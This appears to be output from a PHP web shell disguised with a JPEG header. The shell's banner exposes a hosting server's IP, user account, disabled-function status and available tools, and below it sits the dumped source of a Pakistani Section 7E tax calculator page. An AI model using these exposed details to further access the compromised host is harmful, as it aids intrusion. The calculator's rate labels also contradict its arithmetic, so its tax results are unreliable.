ÿØÿà JPEG ÿþ;
Server IP : 68.65.120.201 / Your IP : 216.73.216.73 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/taxhyuvu/public_html/ |
Upload File : |
<?php include('head.php'); ?> <head> <meta name="description" content="Calculat Now your tax under Capital Assets Under Section 7E Value of Property and Tax Computation "> <meta name="keywords" content="tax, calculator, tax,tax calculator,fbr"> <title>Tax calculator</title> </head> <style> .card { border-radius: 10px; border: 1px solid #ffeaea; box-shadow: 0 5px 20px 0 #bbb; background-color: #fff!important; padding: 20px 50px; } .btn-primary { background: #009bad; border: #0a9eb0; color:white;transition:0.5s; } .btn-primary:hover { background: #98a0a4; border: #98a0a4; color:white;transition:0.5s; } label { display: inline-block; } @media (min-width: 1400px){ .container, .container-lg, .container-md, .container-sm, .container-xl, .container-xxl { max-width: 90%; }} .sami:hover{ box-shadow:2px 10px 10px #bbbbbb; transition:0.5s; cursor:pointer; border-radius: 10px;} .sami{border: 1px solid #c8c9ca; transition:0.5s; border-radius: 10px;} .form-control:focus { color: var(--bs-body-color); background-color: var(--bs-body-bg); border-color: #0599a8; outline: 0; box-shadow: none; } /* hr { color: #08717d !important; } */ .form-control { font-size: 18px; margin-top: 10px; border: 1px solid #adb1ad;transition:0.3s; } .form-control:hover { /* font-size: 18px; margin-top: 10px; */ border: 1px solid #adb1ad; border-radius:10px; box-shadow: 5px 4px #dadada;transition:0.3s; cursor:pointer; } </style> <script> function convertNumberToWords(number) { const hyphen = '-'; const conjunction = ' and '; const separator = ', '; const negative = 'negative '; const decimal = ' point '; const dictionary = { 0: 'zero', 1: 'one', 2: 'two', 3: 'three', 4: 'four', 5: 'five', 6: 'six', 7: 'seven', 8: 'eight', 9: 'nine', 10: 'ten', 11: 'eleven', 12: 'twelve', 13: 'thirteen', 14: 'fourteen', 15: 'fifteen', 16: 'sixteen', 17: 'seventeen', 18: 'eighteen', 19: 'nineteen', 20: 'twenty', 30: 'thirty', 40: 'forty', 50: 'fifty', 60: 'sixty', 70: 'seventy', 80: 'eighty', 90: 'ninety', 100: 'hundred', 1000: 'thousand', 1000000: 'million', 1000000000: 'billion', 1000000000000: 'trillion', 1000000000000000: 'quadrillion', 1000000000000000000: 'quintillion', }; if (!isFinite(number) || isNaN(parseFloat(number))) { return false; } if (number < 0) { return negative + convertNumberToWords(Math.abs(number)); } let string = ''; let fraction = null; if (number.toString().indexOf('.') !== -1) { [number, fraction] = number.toString().split('.'); } switch (true) { case number < 21: string = dictionary[number]; break; case number < 100: const tens = Math.floor(number / 10) * 10; const units = number % 10; string = dictionary[tens]; if (units) { string += hyphen + dictionary[units]; } break; case number < 1000: const hundreds = Math.floor(number / 100); const remainder = number % 100; string = dictionary[hundreds] + ' ' + dictionary[100]; if (remainder) { string += conjunction + convertNumberToWords(remainder); } break; default: const baseUnit = Math.pow(1000, Math.floor(Math.log10(number) / 3)); const numBaseUnits = Math.floor(number / baseUnit); const baseUnitRemainder = number % baseUnit; string = convertNumberToWords(numBaseUnits) + ' ' + dictionary[baseUnit]; if (baseUnitRemainder) { string += baseUnitRemainder < 100 ? conjunction : separator; string += convertNumberToWords(baseUnitRemainder); } break; } if (fraction !== null) { string += decimal; const words = []; for (const digit of fraction) { words.push(dictionary[parseInt(digit)]); } string += words.join(' '); } return string; } // Example usage: // const number = 123456.789123; // const words = convertNumberToWords(number); </script> <center> <a href="/in_return_filling"> <img src="publications/ad_banner.png" style="width:50%; margin-bottom: 30px; " m></a></center> <div class="row" style="over-flow:;"> <div class="col-md-2"> </div> <div class="col-md-8"> <div class="card" style="border-radius: 10px; <!--margin:90px 0px;--> "> <h2 class="modal-title" style="font-family:math; color:black; font-weight:700;">Capital Assets Under Section 7E</h2> <hr style="color: #a9b2b2;"> <center><h3 style="font-family:math;font-weight:700;color:#0296a5;margin: 25px 0px;">Value of Property and Tax Computation</h3> <!-- <h4 class="modal-title" style="font-family:math; color:darkred; font-weight:700;">'.$l['price'].'</h4> --> </center> <form method="POST" class="members" id="calculateForm"> <div class="row" style="font-family: math;font-size: 19px;"> <div class="form-group col-md-6" style="margin-top: 0px;padding: 0px 10px;"> <label for="name">Cost Declared Value</label> <input type="text" name="cdv" class="form-control" id="name" placeholder="Enter Cost Declared Value" required> </div> <div class="form-group col-md-6" style="margin-top: 0px;padding: 0px 10px;"> <label for="name">Fair Market Value</label> <input type="text" class="form-control" name="fmv" id="subject" placeholder="Enter Fair Market Value" required> </div> <div class="form-group col-md-6" style="margin-top: 20px;padding: 0px 10px;"> <label for="name">Deemed Income @ 20%</label> <input type="text" class="form-control" name="dinc" id="dinc" placeholder="Deemed Income @ 20%" readonly> </div> <div class="form-group col-md-6" style="margin-top: 20px;padding: 0px 10px;"> <label for="name">Tax on Deemed Income u/s 7E</label> <input type="text" class="form-control" name="tdinc" id="tdinc" placeholder="Tax on Deemed Income u/s 7E @20% (Of 5% of FMV)" readonly> </div> <div class="form-group col-md-12"style="margin-top: 0px;padding: 20px 10px;"> <label for="name">Amount in words</label> <!-- <input type="hidden" class="form-control" name="amiv" id="amiv" placeholder="Amount in words hidden" readonly > --> <textarea class="form-control" name="amiv" id="amiv" rows="3" placeholder="Amount in words" readonly style="Text-transform:capitalize;"> </textarea> </div> <div class="form-group col-md-6" style="margin-top: 5px;"> <a href="https://taxhelplines.com.pk"> <button type="button" class="btn btn-danger" style="float:left; width:100px;">Back</button> </a></div> <div class="form-group col-md-6" style="margin-top: 5px;"> <!-- <input type="submit" name="calculate" value="Calculate" class="btn btn-primary" style="float:right; width:100px;"> --> <input type="button" id="calculateButton" name="calculate" value="Calculate" class="btn btn-primary" style="float:right; width:100px;" onclick="calculateTax()"> </div> </div> </form> </div> </div> <div class="col-md-2"> </div> </div> <script> // Get the modal var modal = document.getElementById("myModalw"); // Get the button that opens the modal var btn = document.getElementById("myBtn"); // Get the <span> element that closes the modal var span = document.getElementsByClassName("closew")[0]; // When the user clicks the button, open the modal btn.onclick = function() { modal.style.display = "block"; } // When the user clicks on <span> (x), close the modal span.onclick = function() { modal.style.display = "none"; } // When the user clicks anywhere outside of the modal, close it window.onclick = function(event) { if (event.target == modal) { modal.style.display = "none"; } } </script> <script> $('#myModal').on('shown.bs.modal', function () { $('#myInput').trigger('focus') }) </script> <!-- <script> amivb</script> --> <script> function calculateTax() { // Get the values from the form var cdvValue = document.getElementById("name").value; var fmvValue = document.getElementById("subject").value; // echo convert_number_to_words(123456789); // Perform your calculations here var dincValue = fmvValue-cdvValue; if (dincValue > 0 ) { document.getElementById("dinc").value = dincValue; } else { alert("Fair Market Value is Less then Cost Declared Value!") } var tdincValue = dincValue * 0.05; const formattedNumber = tdincValue.toFixed(2); // Update the Deemed Income and Tax on Deemed Income fields in the modal document.getElementById("tdinc").value = formattedNumber; const number = tdincValue; const words = convertNumberToWords(number); var did = words; document.getElementById("amiv").value = did; // Optionally, you can also update the "Amount in words" field // Prevent the form from submitting return false; } </script> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.4/jquery.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js"></script> <!-- Modal End --> <?php include('footer.php'); ?>